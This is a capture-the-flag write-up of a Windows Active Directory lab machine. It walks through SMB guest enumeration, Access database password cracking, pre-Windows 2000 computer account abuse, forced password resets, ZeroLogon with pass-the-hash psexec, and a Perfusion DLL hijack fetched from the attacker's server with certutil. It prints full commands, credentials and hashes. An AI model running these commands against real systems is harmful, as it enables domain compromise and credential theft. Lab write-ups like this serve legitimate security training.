Overview

The machine starts by SMB guest enumeration that exposes a Public share containing a password-protected Access database, cracking it reveals ldap credentials used to enumerate the domain and discover pre-created computer accounts, abusing Pre2k authentication on FS01$ then leveraging its GenericWrite over ADMWS01$ to change its password and add ldapreader to the Services group to RDP in and get user, escalating to SYSTEM either via ZeroLogon against the Windows Server 2008 R2 DC to DCSync all hashes and psexec as Administrator, or via the intended RpcEptMapper registry DLL hijack using Perfusion to get a SYSTEM shell

Enumeration

and as usual we'll start with nmap scan

and it is an AD environment cause we got some RDP,LDAP,DNS,RPC,Kerberos and more what we got here is

  • domain name retro2.vl and hostname is BLN01 so the FQDN is BLN01.retro2.vl so add it to the hosts file
  • it runs windows server 2008 R2 so I won't be surprised if we have to lookup some CVEs
  • 30 mins clock skew so we need to sync our time

Lets setup our environment

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ echo '10.129.7.249 BLN01 BLN01.retro2.vl retro2.vl' | sudo tee -a /etc/hosts
10.129.7.249 BLN01 BLN01.retro2.vl retro2.vl
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb retro2.vl -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.7.249 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.7.249 445 BLN01 [+] krb5 conf saved to: krb5.conf
SMB 10.129.7.249 445 BLN01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.7.249 445 BLN01 [+] retro2.vl\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ sudo ntpdate retro2.vl 
2026-06-03 04:59:05.644904 (-0700) -1.113100 +/- 0.054401 retro2.vl 10.129.7.249 s1 no-leap
CLOCK: time stepped by -1.113100

and i noticed earlier that Null Auth is set to True so we can try to list shares using Guest account and we got read access over the Public Share so lets take a look, we can also look for gpp_passwd if we didn't find anything in the Public first

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb retro2.vl -u 'Guest' -p '' --shares
SMB 10.129.7.249 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.7.249 445 BLN01 [+] retro2.vl\Guest:
SMB 10.129.7.249 445 BLN01 [*] Enumerated shares
SMB 10.129.7.249 445 BLN01 Share Permissions Remark
SMB 10.129.7.249 445 BLN01 ----- ----------- ------
SMB 10.129.7.249 445 BLN01 ADMIN$ Remote Admin
SMB 10.129.7.249 445 BLN01 C$ Default share
SMB 10.129.7.249 445 BLN01 IPC$ Remote IPC
SMB 10.129.7.249 445 BLN01 NETLOGON Logon server share
SMB 10.129.7.249 445 BLN01 Public READ
SMB 10.129.7.249 445 BLN01 SYSVOL Logon server share

Public Share

and as you can see we got some kind of db called staff lets find out what kind of file is it

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ smbclient //retro2.vl/Public -U'Guest'%''
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> ls
  .                                   D        0  Sat Aug 17 07:30:37 2024
  ..                                  D        0  Sat Aug 17 07:30:37 2024
  DB D 0 Sat Aug 17 05:07:06 2024
  Temp D 0 Sat Aug 17 04:58:05 2024

\DB
  .                                   D        0  Sat Aug 17 05:07:06 2024
  ..                                  D        0  Sat Aug 17 05:07:06 2024
  staff.accdb                         A   876544  Sat Aug 17 07:30:19 2024

\Temp
  .                                   D        0  Sat Aug 17 04:58:05 2024
  ..                                  D        0  Sat Aug 17 04:58:05 2024

                6290943 blocks of size 4096. 803619 blocks available
smb: \> get DB\staff.accdb
getting file \DB\staff.accdb of size 876544 as DB\staff.accdb (173.6 KiloBytes/sec) (average 173.6 KiloBytes/sec)

and it is a Microsoft Access Database so there is multiple ways to see what's inside, there is ofcourse the native way by using windows microsoft access but lets try to find a way to read it on Linux

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ file DB\\staff.accdb 
DB\staff.accdb: Microsoft Access Database

found out that there is a way to open the file from Linux by using mdbtools but it failed and i guess maybe the file is corrupted

so i tried to extract as much strings as possible out of this file and as you can see it is password encrypted that's why msdbtool failed

bash 
strings DB\\staff.accdb | grep -iE "pass|user"
< encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="tBdIT83BfUd7KaX67oT7MA=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="VzbPy7BU50mo8wNXDFwZcA==" encryptedVerifierHashInput="HsaD9NjE6fr3fTwB8kM+Vg==" encryptedVerifierHashValue="feDUr4xUwzvjItvIYLaLSEn4ERlgFaP0ikJKJl0BgjUC9Jru1vv0yo3ByOeB4RCvAHopSkau8cZAnRn0i7rhVw==" encryptedKeyValue="TroWvawtdyCeLwr7kl8ZlTJ7x+GuE0q5wztZxxD9gT0="/></keyEncryptor></keyEncryptors></encryption>

so first i extracted the hash out of it first using office2john

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ office2john DB\\staff.accdb 
DB\staff.accdb:$office$*2013*100000*256*16*5736cfcbb054e749a8f303570c5c1970*1ec683f4d8c4e9faf77d3c01f2433e56*7de0d4af8c54c33be322dbc860b68b4849f811196015a3f48a424a265d018235
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ office2john DB\\staff.accdb > acc.hash

and we cracked it as you can see the password is class08 lets try to find a way to open cause mdbtools won't work with password protected files

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ john acc.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
class08 (DB\staff.accdb)
1g 0:00:00:36 DONE (2026-06-03 05:17) 0.02739g/s 126.2p/s 126.2c/s 126.2C/s diamante..class08
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ldapreader user

the easiest way is to used micorosft access but at the point of writing this blog my trial was gone so i will continue from here as if you saw me opening the file after i opened the file i got creds for ldap ldapreader:ppYaVcB5R so lets test it out and get bloodhound data

and it worked as you can see so lets get bloodhound

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc ldap retro2.vl -u 'ldapreader' -p ppYaVcB5R
LDAP 10.129.7.249 389 BLN01 [*] Windows 7 / Server 2008 R2 Build 7601 (name:BLN01) (domain:retro2.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.7.249 389 BLN01 [+] retro2.vl\ldapreader:ppYaVcB5R

lets inject the data and see what is in there

one thing is very interesting is this 4 computers parsed output which is very unusual (don't mean in AD environment cause it is usual but i mean in an easy machine)

looking for clues this way isn't wrong cause in actual pentesting you'd look into every angle and get to those computers eventually

any way let's look for those computers Pasted image 20260608170122.png and we got ADMWS01 and FS01 and FS02 so lets start one by one till we find something interesting the computer FS01 account got GenericWrite over the other two so we need a way to look Pasted image 20260608170401.png so we need to get access over this FS01 computer accounts, and I just need you to remember that the DC is Windows server 2008 which is very old already so I kept going over multiple paths using the account we already got which is ldapreader but i got nothing till I remembered that there is two ways to get access to computer account if you don't have any permissions over it

  • either this account is set as pre2k which i suspected from the beginning and I Can't say why cause I am not sure it is 100% accurate
  • or timeroasting attack

FS01$ Computer account

so lets start with pre2k

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ pre2k auth -d retro2.vl -dc-ip 10.129.10.242 -u ldapreader -p ppYaVcB5R

                                ___ __
                              /'___`\ /\ \
 _____   _ __    __          /\_\ /\ \\ \ \/'\
/\ '__`\/\`' __\/'__`\ _______\/_/// /__\ \ , <
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/
   \ \_\                                      v3.1
    \/_/
                                            @unsigned_sh0rt
                                            @Tw1sm

[07:15:31] INFO     Retrieved 4 results total.
[07:15:31] INFO     Testing started at 2026-06-08 07:15:31
[07:15:31] INFO     Using 10 threads
[07:15:32] INFO     VALID CREDENTIALS: retro2.vl\FS02$:fs02
[07:15:32] INFO     VALID CREDENTIALS: retro2.vl\FS01$:fs01

and we got two computers working

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb 10.129.10.242 -u FS01$ -p fs01
SMB 10.129.10.242 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (si
gning:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.10.242 445 BLN01 [-] retro2.vl\FS01$:fs01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb 10.129.10.242 -u FS01$ -p fs01 -k
SMB 10.129.10.242 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.10.242 445 BLN01 [+] retro2.vl\FS01$:fs01

and as you can see it worked but it needs use Kerberos I guess cause it is a pre2k account or other option to change its password so lets change its password cause It'll make our life much easier

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ net rpc password fs01$ pass123 -U "retro2.vl/fs01$%fs01" -D retro2.vl
Failed to set password for 'fs01$' with error: Failed to connect to IPC$ share on localhost.

we know the smbpasswd won't work cause we got TRUST ACCOUNT error on nxc and we failed to connect to IPC so we can't use net rpc and kpasswd isn't exposed as a port so we're left with changepasswd from impacket

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ python3 rpcchangepwd.py retro2.vl/FS01$:fs01@10.129.10.242 -newpass newpass123
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Password was changed successfully.
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb 10.129.10.242 -u FS01$ -p newpass123
SMB 10.129.10.242 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.10.242 445 BLN01 [+] retro2.vl\FS01$:newpass123

now we are ready let's see which use we'll access

ADMWS01$ Computer account

we've got this nice chain Pasted image 20260608174020.png the user ADMWS01 can add a member to the service group which is a member of Remote Desktop Users so he can RDP in so lets abuse the GenericWrite we got over ADMWS01

so lets change the password

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ bloodyAD --host 10.129.10.242 --domain retro2.vl -u fs01$ -p newpass123 set password ADMWS01$ newpass123!
[+] Password changed successfully!
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ nxc smb 10.129.10.242 -u ADMWS01$ -p newpass123!
SMB 10.129.10.242 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.10.242 445 BLN01 [+] retro2.vl\ADMWS01$:newpass123!

now we can add any member to the Services so lets add the ldapreader (I choose it cause i don't wanna put myself in a position questioning what is causing some type of error at least now i eliminate any issues related to pre2k accounts and all the password change we did)

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2]
└──╼ [★]$ bloodyAD --host 10.129.10.242 --domain retro2.vl -u ADMWS01$ -p newpass123! add groupMember Services ldapreader
[+] ldapreader added to Services

RDP as ldapreader

now let RDP

and we got an RDP shell Pasted image 20260608183631.png

and we got the user

Privilege Escalation

Lets probe for root clues

ZeroLogon (Unintended)

because this is an old version of windows server first thing i will look for is the version for public exploits Pasted image 20260608183829.png I guess all windows servers prior to 2020 are vulnerable to zero logon so lets try it

When a machine joins a domain, it needs a secure channel to the DC for authentication operations, things like verifying user logons, passing credentials, and syncing secrets so microsoft built the Netlogon Remote Protocol (MS-NRPC) to handle this and It uses a custom challenge-response authentication scheme called Netlogon Secure Channel to establish and maintain this trusted pipe between machines and DCs

so what is the issue ? it is hard go through its details right now but the zero logon exploits how this negotiation works and it is totally a cryptographic flaw and it leads to DCSync the flaw is to use the PoC to set the password of the Host account to empty password then DCSync it

and we got all those hashes lets use the Administrator hash if we tried to login now we'll get this Pasted image 20260608185554.png that's because we set the password to empty password which was restricted in this environment, we can ignore by simply using psexec.py

shell 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/retro2/CVE-2020-1472]
└──╼ [★]$ psexec.py retro2.vl/Administrator@10.129.10.242 -hashes aad3b435b51404eeaad3b435b51404ee:c06552bdb50ada21a7c74536c231b848
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.129.10.242.....
[*] Found writable share ADMIN$
[*] Uploading file BPXxbFxG.exe
[*] Opening SVCManager on 10.129.10.242.....
[*] Creating service oFKM on 10.129.10.242.....
[*] Starting service oFKM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
cb462daa07d7539de053bb9308658759
C:\Windows\system32>

and we got the root

Perfusion (intended way)

the intended path was to use the RpcEptMapper DLL Hijack escalation technique. This abuses a writable registry key under HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper on Windows 2008 R2 to load a malicious DLL as SYSTEM so lets grab the exploit locally and move it to the target

plaintext 
sudo python3 -m http.server 80

and I moved it

shell 
PS C:\> certutil -urlcache -split -f http://10.10.16.83/Perfusion.exe C:\Users\ldapreader\perf.exe
****  Online  ****
  0000 ...
  8800
CertUtil: -URLCache command completed successfully.
PS C:\> cd Users
PS C:\Users> cd ldapreader
PS C:\Users\ldapreader> .\perf.exe -c cmd -i
[*] Created Performance DLL: C:\Users\LDAPRE~1\AppData\Local\Temp\2\performance_2776_2976_2.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[!] Failed to delete Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\ldapreader>whoami
nt authority\system

either way we'll get the root flag

Resources